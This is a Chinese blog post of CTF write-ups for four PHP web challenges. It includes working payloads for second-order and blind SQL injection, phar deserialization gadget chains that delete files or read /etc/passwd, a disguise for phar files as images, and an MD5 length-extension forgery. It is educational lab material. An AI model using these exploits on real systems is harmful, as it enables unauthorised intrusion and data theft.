BUUCTF知识记录(3)

[护网杯 2018]easy_laravel

考点:二次注入、blade模板缓存、phar

源码在这:
https://github.com/CTFTraining/huwangbei_2018_easy_laravel
结构如下:
在这里插入图片描述
这里给了一个composer.json,需要composer install下载其他组件,但是我这里一直装不上,换源也没用,只能看wp的源码了(云做题)
在这里插入图片描述
首先在route/web.php中定义了路由:
在这里插入图片描述
然后去看controller的时候会发现除了note,其他都需要admin权限:
例如app/http/controllers/flagcontroller
在这里插入图片描述
那么思路就是先成为admin,从app/http/controllers/notecontroller入手
在这里插入图片描述
看到这里对username有一个查询,容易联想到二次注入,并且registercontroller除了长度限制了其他没有过滤:
app/http/controllers/auth/registercontroller
在这里插入图片描述
看一下users表结构:
在这里插入图片描述
如注册一个:

admin' union select 1,(select password from users limit 0,1),3,4,5 and '1

在这里插入图片描述
但是这个密码是被bcrypt加密的:
在这里插入图片描述
所以得找其他方法,注意到还有其他表结构:
在这里插入图片描述
有一个reset,看看:
在这里插入图片描述
resetpassword的路由为:/password/reset/{token}
在这里插入图片描述
所以我们只要直到email和token即可,email这里是固定的:
在这里插入图片描述
token可以在password_resets表中注出来:

admin' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5 and '1

这里不知道什么原因,不能用group_concat或limit,只能指定email才能注出token
在这里插入图片描述
拿到token改密码,成为admin,但是访问flag路由居然显示是no flag
在这里插入图片描述
这与php文件不符
在这里插入图片描述
问题就处在这个view上,laravel默认用的是blade模板引擎:

Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。缓存文件放在storage/framework/views下

我的理解是laravel使用blade模板引擎,首先将php传过来的参数渲染到视图,然后视图又编译成php代码的缓存文件存到相应路径下,以便使用

那么很有可能是旧的缓存文件依然存在,使模板渲染时被覆盖,那么就需要尝试删除这个缓存文件

我们还有uploadcontroller没用:
在这里插入图片描述
这里的上传的所有文件都会被写到$this->path目录下,也就是app/public,我们无法访问
在这里插入图片描述
所以webshell是不可能的了,但是check这里有一个file_exists,并且两个参数都可控,可以用phar://
在这里插入图片描述
下面是一些可以用phar://的函数(来源于seebug)
在这里插入图片描述
然后就是找利用链了,没源码我直接截wp的图了:
在这里插入图片描述
这里有unlink,不过要知道缓存文件的路径:
在这里插入图片描述
这个path就是视图文件的路径,为:
/var/www/html/resources/views/auth/flag.blade.php
sha1加密得到完整的缓存文件路径:
/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php
exp:

<?php
class Swift_ByteStream_AbstractFilterableInputStream {}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    private $_path;
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';
    
        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('phar.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('phar.phar', '233.jpg');
?>

在files页面check触发调用链:
在这里插入图片描述
加上路径:path=phar:///var/www/html/storage/app/public
在这里插入图片描述
在这里插入图片描述

[cccCTF2019]PDFCreatorCC

考点:CVE-2018-17057 https://www.anquanke.com/vul/id/1313773
在这里插入图片描述
首页是一个img转pdf的东西,不看wp还真不知道这个点,而且题目原来有源码的...:
https://github.com/CTFTraining/ccc_2019_web_pdfcreator
得到这样一个结构:
在这里插入图片描述
看一下TCPDF/tcpdf.php,得知版本为6.2.13,恰好符号这个cve
在这里插入图片描述
然后呢这个cve的主要意思就是在转化成pdf的过程中,会接受html,如果构造一个恶意的phar上传,然后html中只要用href=phar://...就能触发phar,达到rce

在creator.php找到PDFStuff\PDFCreator::__destruct有一个文件读取
在这里插入图片描述
而index.php中恰好就初始化了这个类:
在这里插入图片描述
先传张图片看看流程:
在这里插入图片描述
上传之后允许我们写html,生成的pdf不用管它,了解流程之后,构造:

推荐把creator.php直接放到同一目录然后包含,这样就省的弄命名空间什么的了

<?php
include "creator.php";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub(" __HALT_COMPILER(); ?>");
$o = new \PDFStuff\PDFCreator();
$o->tmpfile = "/etc/passwd";
$phar->setMetadata($o);
$phar->stopBuffering();
rename('phar.phar','x.jpg');

生成jpg上传,改html为img类型,href=phar

<img src="phar://./upload/c4ca4238a0b923820dcc509a6f75849b.jpg" width="10" height="10">

在这里插入图片描述
读到/etc/passwd
在这里插入图片描述
这里有个小坑是这个是nginx服务器,所以先看一下网站目录,读/etc/nginx/nginx.conf会发现网站路径为:/var/www/site
然后读flag.php即可:
在这里插入图片描述
然后补一下phar伪装成图片的方法,在__HALT_COMPILER()前面加上:

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

[PwnThyBytes 2019]Baby_SQL

考点:PHP_SESSION_UPLOAD_PROGRESS
source.zip获得源码,index.php有全局转义:
在这里插入图片描述
而且编码不是gbk的,这样几乎无解,但是在tmplates/login.php下没有转义,但是如果没有session初始化就会die掉
在这里插入图片描述
然后php.ini中有一些关于session的配置:
若session.auto_start=on,就会自动session初始化,但是默认是off的
还有一个:PHP_SESSION_UPLOAD_PROGRESS是默认开启的,看一下官方文档
在这里插入图片描述
这个是用来检测文件上传进度的,如果同时上传一个文件,并且POST一个同名变量PHP_SESSION_UPLOAD_PROGRESS,那么就会在_SESSION中获取上传进度,本地看一下:
1.php为一个空页面,没有开启session_start()
在这里插入图片描述
当我自定义一个PHPSESSID时刷新一下,并没有生成session文件
在这里插入图片描述

import requests

url='http://127.0.0.1/test/1.php'
files={'file':123}
re=requests.post(url,files=files,data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},cookies={"PHPSESSID": "test1"})

跑一下,此时生成了test1的session文件
在这里插入图片描述
截一个orange师傅的图:
在这里插入图片描述
那么就可以绕过检测来注入了,布尔盲注:

import requests
text = ""
for i in range(1, 64):
    l = 28
    h = 126
    while abs(h - l) > 1:
        m = (l + h) / 2
        param='?username=admin"or if((ascii(mid((select secret from flag_tbl),{},1))>{}),1,0)%23&password=123'.format(i,m)
        re = requests.post(url+param, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS":123},
                          cookies={"PHPSESSID": "1db7fdaa6042480e2184fddd7e108bc5"})
        #print(re.text)
        if 'again'not in re.text:
            l = m
        else:
            h = m
    text += chr(int(h))
    print(text)

[SWPUCTF 2016]Web blogsys

考点:反序列化、sql注入
源码:https://github.com/CTFTraining/swpuctf_2016_web_blogsys
结构如下
在这里插入图片描述

api.php 有admin类,首先判断是否登陆,如果没有则反序列化
common.php 一些方法,全局转义,随机生成salt
forget.php 忘记密码,如果数据库中有该用户就跳转到repass
guestbook.php 写评论的,但是加了htmlspecialchars过滤
index.php 登陆、注册
repass.php 各种信息验证,通过就改密码
riji.php 显示评论

首先要知道common.php中有变量覆盖的漏洞,但是这是这是在开头引入的,即使一开始覆盖后面还是会被赋值
在这里插入图片描述
还加了转义,所以有单引号的查询基本上都不能注入,但是在riji.php处找到了一个数字型查询:
在这里插入图片描述
而这个id参数来自同文件下的userid
在这里插入图片描述
可以看到这个userid是从数据库查询的结果中得来的,那咋办,看了wp后觉得思路是真的6

首先观察一些api.php:
在这里插入图片描述
只有三个方法,check,delmsg,deluser
那么如果注册一个账号登陆,然后用反序列化去删除该用户,那么数据库查询结果不就为空了?空了之后userid不再被赋值,就能用变量覆盖直接注入了

那么首先就要去构造反序列化:
在这里插入图片描述
首先会判断登陆,所以为了删除之后依然保持登陆状态,我们要另开一个浏览器反序列化
在这里插入图片描述
然后进入domethod,判断check==1
在这里插入图片描述
这里最关键的就是这个判断
if ($this->check === md5($result['salt'] . $this->data . $username))
很显然,hash拓展攻击,但首先要知道md5值,在forget.php会有跳转,其中就包含了md5值
在这里插入图片描述
在这里插入图片描述
base64得到md5值ab4d22925d268dd6937e41edbe81e97e
然后这里需要说一下,hashpump这个工具,必须要指定四个参数:
md5 data length 添加的data
而我们这里得到的为:
md5(salt); //ab4d22925d268dd6937e41edbe81e97e
给定格式是:
md5($result['salt'] . $this->data . $username)
其中username=admin,所以$this->data前面并无任何数据(除了salt),那么hashpump必要的data参数就没得了,所以这里换一个工具:
https://github.com/JoyChou93/md5-extension-attack
格式为:md5 添加的数据 密钥长度,由于data后面被拼接了一个admin,所以添加数据也选为admin,同理在使用时要把admin去掉
在这里插入图片描述
然后看一下del_user(),以userid删除用户
在这里插入图片描述
登陆以后在index.php中会被写入cookie
在这里插入图片描述
在这里插入图片描述
得到userid=2
exp:

<?php 
class admin{
    var $name = "admin";
    var $check= "6122c04e8a1f3529d556199960ef2556";
    var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
    var $method="del_user";   //要调用的函数  
    var $userid=2;  //要删除的用户  
}
$a = new admin(); 
$api = base64_encode(serialize($a));
echo $api;

换个浏览器反序列化
在这里插入图片描述
此时就可以注入了:-1 union select 1,2,(select flag from flag)
在这里插入图片描述

posted @ 2020-04-06 18:43  W4nder  阅读(909)  评论(0编辑  收藏  举报